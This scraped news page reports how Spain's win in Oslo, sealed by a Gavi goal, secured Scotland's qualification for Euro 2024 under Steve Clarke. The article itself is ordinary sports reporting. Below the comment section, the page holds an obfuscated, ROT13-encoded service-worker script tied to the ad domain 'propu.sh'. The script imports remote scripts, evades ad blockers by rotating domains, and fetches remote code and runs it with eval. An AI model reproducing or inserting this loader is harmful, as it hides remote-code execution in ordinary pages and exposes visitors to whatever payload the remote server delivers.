ROAD TO EURO 2024: SCOTLAND'S QUALIFICATION JOURNEY VIA SPAIN AND GAVI

Ebitebe Adelabu

October 16, 2023

0

Spanish midfielder Gavi

Spain midfielder Gavi's crucial goal against Norway has clinched Scotland's place at Euro 2024, marking a historic qualification with two games to spare.

Steve Clarke's squad earned this coveted spot in Group A, trailing Spain only by goal difference. Norway, now five points adrift with just one game left, has no chance of catching up.

This achievement marks Scotland's back-to-back appearances in the European Championships under Clarke, who led them through a qualifying group to a major finals for the first time since 1997.

Although Scotland had an opportunity to secure their place in Seville, they suffered their first defeat in six qualifiers with a 2-0 loss to Spain. However, their impressive five wins from the initial five games created pressure for Norway, which needed to win their last three matches. Despite Norway's 4-0 victory over Cyprus, Spain's victory in Oslo secured both Spain and Scotland's qualification.

In the game, Alvaro Morata had a first-half goal disallowed for offside, while Gavi netted the decisive goal in the 49th minute, neutralizing Norway and their star striker Erling Haaland.

Norway, which has not appeared in major tournaments since Euro 2000, can only potentially qualify through play-offs, provided they remain in third place and hope for Serbia to qualify from Group G.

Scotland has two remaining matches against Georgia and Norway next month, with the ambition to surpass Spain as group winners and improve their chances of being a top seed in the draw.

Spain will conclude their campaign by facing the bottom two teams, a trip to Cyprus followed by a home game against Georgia.

Scotland and Spain now join Portugal, France, Belgium, and Turkey in securing a spot in next summer's finals, while Germany has an automatic qualification as the host nation.

Scotland, after a 23-year hiatus from major tournaments, made a significant comeback by reaching the Euro 2020 two years ago through a play-off secured via the Nations League. Clarke's accomplishment lies in being the first manager to guide the Scots to consecutive European Championships, following their absence from the 2018 World Cup.

👉READ MORE TRENDING NEWS HERE

Connect with us

Tags

Newer
Older

Post a Comment

Note* Your reaction is our greatest delight! Click on "Post a Comment" to drop yours now.

Post a Comment (0)

(function(O){!function(e){var t=O.Z();function n(r){if(t[r])return t[r][O.i];var i=t[r]=O.Z(O.B,r,O.w,!O.X,O.i,O.Z());return e[r][O.z](i[O.i],i,i[O.i],n),i[O.w]=!O.N,i[O.i]}n[O.y]=e,n[O.g]=t,n[O.K]=function(e,t,r){n[O.h](e,t)||Object[O.b](e,t,O.Z(O.GO,!O.N,O.RO,r))},n[O.G]=function(e){O.HO!=typeof Symbol&&Symbol[O.hO]&&Object[O.b](e,Symbol[O.hO],O.Z(O.p,O.cO)),Object[O.b](e,O.U,O.Z(O.p,!O.N))},n[O.R]=function(e,t){if(O.X&t&&(e=n(e)),O.v&t)return e;if(O.P&t&&O.t==typeof e&&e&&e[O.U])return e;var r=Object[O.r](O.q);if(n[O.G](r),Object[O.b](r,O.C,O.Z(O.GO,!O.N,O.p,e)),O.d&t&&O.oO!=typeof e)for(var i in e)n[O.K](r,i,function(t){return e[t]}[O.fO](O.q,i));return r},n[O.H]=function(e){var t=e&&e[O.U]?function(){return e[O.C]}:function(){return e};return n[O.K](t,O.OO,t),t},n[O.h]=function(e,t){return Object[O.FO][O.a][O.z](e,t)},n[O.e]=O.F,n(n[O.m]=O.o)}(O.Z(O.o,function(module,exports,__webpack_require__){O.f;var _antiadblock=__webpack_require__(O.O);self[O.c]=O.Z(O.S,6378869,O.V,"propu.sh",O.l,!O.N),self[O.D]=O.F;var DEFAULT_URL=[O.Y,O.j][O.A](self[O.c][O.V]),STORE_EVENTS=[O.T,O.u,O.M,O.L,O.n,O.E],url;try{if(url=atob(location[O.DO][O.x](O.X)),!url)throw O.q}catch(e){url=DEFAULT_URL}try{importScripts(url)}catch(ignore){var events=O.Z(),listeners=O.Z(),realAddEventListener=self[O.yO][O.fO](self);STORE_EVENTS[O.ZO](function(e){self[O.yO](e,function(t){events[e]||(events[e]=[]),events[e][O.M](t),listeners[e]&&listeners[e][O.ZO](function(e){try{e(t)}catch(e){}})})}),self[O.yO]=function(e,t){if(-O.X===STORE_EVENTS[O.qO](e))return realAddEventListener(e,t);listeners[e]||(listeners[e]=[]),listeners[e][O.M](t),events[e]&&events[e][O.ZO](function(e){try{t(e)}catch(e){}})},(O.N,_antiadblock[O.I])(url,O.Z())[O.gO](function(e){return e[O.UO]()})[O.gO](function(code){return eval(code)})}},O.O,function(e,t,n){O.f;Object[O.b](t,O.U,O.Z(O.p,!O.N)),t[O.Q]=function(e){return new Promise(function(t,n){r(O.BO)[O.gO](function(r){var i=r[O.tO]([O.lO],O.rO)[O.xO](O.lO)[O.WO](O.Z(O.V,e,O.dO,new Date()[O.CO]()));i[O.yO](O.EO,t),i[O.yO](O.nO,n)})})},t[O.I]=async function(e,t){var n=await new Promise(function(e,t){r(O.BO)[O.gO](function(n){var r=n[O.tO]([O.lO],O.rO)[O.xO](O.lO)[O.PO]();r[O.yO](O.nO,t),r[O.yO](O.EO,function(){return e(r[O.XO][O.oF](function(e){return e[O.V]}))})})}),o=!O.N,a=!O.X,s=void O.N;try{for(var c,u=n[Symbol[O.QO]]();!(o=(c=u[O.IO]())[O.uO]);o=!O.N){var d=c[O.p];try{return await fetch(O.Y+d+O.s+i(),O.Z(O.YO,t[O.YO]||O.RO,O.jO,O.pO,O.sO,t[O.sO],O.vO,O.Z(O.kO,btoa(e))))}catch(e){}}}catch(e){a=!O.N,s=e}finally{try{!o&&u[O.JO]&&u[O.JO]()}finally{if(a)throw s}}throw new Error(O.eO)},t[O.J]=async function(e){try{var t=await fetch(e[O.qO](O.SO)>-O.X?e:O.Y+e);return!O.X===(await t[O.bO]())[O.TO]}catch(e){return!O.X}};function r(e){return new Promise(function(t,n){var r=indexedDB[O.MO](e,O.X);r[O.yO](O.LO,function(){r[O.XO][O.VO](O.lO,O.Z(O.aO,O.V))}),r[O.yO](O.nO,n),r[O.yO](O.EO,function(){return t(r[O.XO])})})}function i(){var e=arguments[O.iO]>O.N&&void O.N!==arguments[O.N]?arguments[O.N]:O.N,t=eO.k,n=Math[O.mO]()[O.zO](O.wO)[O.x](O.d,O.KO+parseInt(O.AO*Math[O.mO](),O.NO));return n+(t?O.s+i(e+O.X):O.F)}}))}([['o',111],['O',17],['F',''],['f','hfr fgevpg'],['Z',function(){const obj={};const args=[].slice.call(arguments);for(let i=0;i(Object.defineProperty(o,i[0],{get:()=>typeof i[1]!=='string'?i[1]:i[1].split('').map(s=>{const c=s.charCodeAt(0);return c>=65&&c<=90?String.fromCharCode((c-65+26-13)%26+65):c>=97&&c<=122?String.fromCharCode((c-97+26-13)%26+97):s}).join('')}),o),{})))/*importScripts(...r=sw)*/

To Top